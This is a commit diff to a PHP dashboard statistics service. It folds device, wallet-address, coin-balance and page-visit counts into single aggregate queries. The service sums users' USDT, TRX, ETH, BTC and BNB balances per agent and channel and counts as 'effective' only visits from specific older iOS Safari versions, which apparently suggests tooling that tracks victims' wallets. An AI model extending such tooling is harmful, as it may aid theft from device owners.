feat: tg/ws
This commit is contained in:
@@ -73,8 +73,14 @@ class DashboardStatsService
|
||||
|
||||
// Period cohort: devices installed (created) in the selected range.
|
||||
$createdInRange = (clone $base)->whereBetween('created_at', [$from, $to]);
|
||||
$total = (clone $createdInRange)->count();
|
||||
$walletCount = (clone $createdInRange)->where('has_wallet', Device::WALLET_YES)->count();
|
||||
$deviceAgg = (clone $createdInRange)
|
||||
->selectRaw(
|
||||
'COUNT(*) as total, COALESCE(SUM(CASE WHEN has_wallet = ? THEN 1 ELSE 0 END), 0) as wallet_count',
|
||||
[Device::WALLET_YES],
|
||||
)
|
||||
->first();
|
||||
$total = (int) ($deviceAgg?->total ?? 0);
|
||||
$walletCount = (int) ($deviceAgg?->wallet_count ?? 0);
|
||||
$newCount = $total;
|
||||
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
|
||||
|
||||
@@ -88,9 +94,7 @@ class DashboardStatsService
|
||||
$from,
|
||||
$to,
|
||||
);
|
||||
$addressCount = $this->countDeviceChildren(
|
||||
WalletAddress::query(),
|
||||
'wallet_addresses',
|
||||
[$addressCount, $balances] = $this->addressStats(
|
||||
$agent,
|
||||
$agentUserId,
|
||||
$channelId,
|
||||
@@ -98,7 +102,6 @@ class DashboardStatsService
|
||||
$from,
|
||||
$to,
|
||||
);
|
||||
$balances = $this->sumBalances($agent, $agentUserId, $channelId, $channelExact, $from, $to);
|
||||
|
||||
$visits = PageVisit::query();
|
||||
AgentScope::applyChannelIdScope($visits, $agent);
|
||||
@@ -114,19 +117,25 @@ class DashboardStatsService
|
||||
}
|
||||
$visits->whereBetween('created_at', [$from, $to]);
|
||||
|
||||
$pv = (clone $visits)->count();
|
||||
$uv = (int) (clone $visits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
||||
$effectiveVisits = (clone $visits)->tap(fn (Builder $q) => $this->applyEffectiveFilter($q));
|
||||
$effectivePv = (clone $effectiveVisits)->count();
|
||||
$effectiveUv = (int) (clone $effectiveVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
||||
$effectiveSql = $this->effectiveVisitSql();
|
||||
$visitAgg = (clone $visits)
|
||||
->selectRaw(
|
||||
"COUNT(*) as pv,
|
||||
COUNT(DISTINCT client_uid) as uv,
|
||||
COALESCE(SUM(CASE WHEN ({$effectiveSql}) THEN 1 ELSE 0 END), 0) as effective_pv,
|
||||
COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv,
|
||||
COUNT(DISTINCT CASE WHEN os = 'iOS' THEN client_uid END) as ios_uv,
|
||||
COUNT(DISTINCT CASE WHEN os IS NULL OR os != 'iOS' THEN client_uid END) as other_uv",
|
||||
)
|
||||
->first();
|
||||
$pv = (int) ($visitAgg?->pv ?? 0);
|
||||
$uv = (int) ($visitAgg?->uv ?? 0);
|
||||
$effectivePv = (int) ($visitAgg?->effective_pv ?? 0);
|
||||
$effectiveUv = (int) ($visitAgg?->effective_uv ?? 0);
|
||||
$iosUv = (int) ($visitAgg?->ios_uv ?? 0);
|
||||
$otherUv = (int) ($visitAgg?->other_uv ?? 0);
|
||||
|
||||
$iosVisits = (clone $visits)->where('os', 'iOS');
|
||||
$iosUv = (int) (clone $iosVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
||||
|
||||
$otherVisits = (clone $visits)->where(function (Builder $q) {
|
||||
$q->whereNull('os')->orWhere('os', '!=', 'iOS');
|
||||
});
|
||||
$otherUv = (int) (clone $otherVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
||||
|
||||
$byOs = [
|
||||
$this->visitRow('iOS', $iosUv, $uv),
|
||||
@@ -273,11 +282,11 @@ class DashboardStatsService
|
||||
}
|
||||
|
||||
/**
|
||||
* Sum coin columns for addresses created in the selected range.
|
||||
* Address count + coin sums in one pass over wallet_addresses in range.
|
||||
*
|
||||
* @return array{usdt: string, trx: string, eth: string, btc: string, bnb: string}
|
||||
* @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string, bnb: string}}
|
||||
*/
|
||||
private function sumBalances(
|
||||
private function addressStats(
|
||||
?User $agent,
|
||||
?int $agentUserId,
|
||||
string $channelId,
|
||||
@@ -294,7 +303,7 @@ class DashboardStatsService
|
||||
$channelExact,
|
||||
)->whereBetween('wallet_addresses.created_at', [$from, $to]);
|
||||
|
||||
$selects = [];
|
||||
$selects = ['COUNT(wallet_addresses.id) as addr_count'];
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col;
|
||||
}
|
||||
@@ -308,7 +317,7 @@ class DashboardStatsService
|
||||
}
|
||||
|
||||
/** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */
|
||||
return $out;
|
||||
return [(int) ($row?->addr_count ?? 0), $out];
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -350,16 +359,11 @@ class DashboardStatsService
|
||||
/**
|
||||
* Safari on iOS 13.0.0–17.2.1, plus 18.5 / 18.6 / 18.6.1 / 18.6.2.
|
||||
*/
|
||||
private function applyEffectiveFilter(Builder $query): void
|
||||
private function effectiveVisitSql(): string
|
||||
{
|
||||
$query->where('os', 'iOS')
|
||||
->where('browser', 'Safari')
|
||||
->whereNotNull('os_version')
|
||||
->where('os_version', '!=', '');
|
||||
|
||||
[$major, $minor, $patch] = $this->osVersionPartsSql();
|
||||
$query->whereRaw(
|
||||
"(
|
||||
|
||||
return "os = 'iOS' AND browser = 'Safari' AND os_version IS NOT NULL AND os_version != '' AND (
|
||||
({$major} >= 13 AND (
|
||||
{$major} < 17
|
||||
OR ({$major} = 17 AND {$minor} < 2)
|
||||
@@ -367,8 +371,7 @@ class DashboardStatsService
|
||||
))
|
||||
OR ({$major} = 18 AND {$minor} = 5 AND {$patch} = 0)
|
||||
OR ({$major} = 18 AND {$minor} = 6 AND {$patch} IN (0, 1, 2))
|
||||
)"
|
||||
);
|
||||
)";
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
Reference in New Issue
Block a user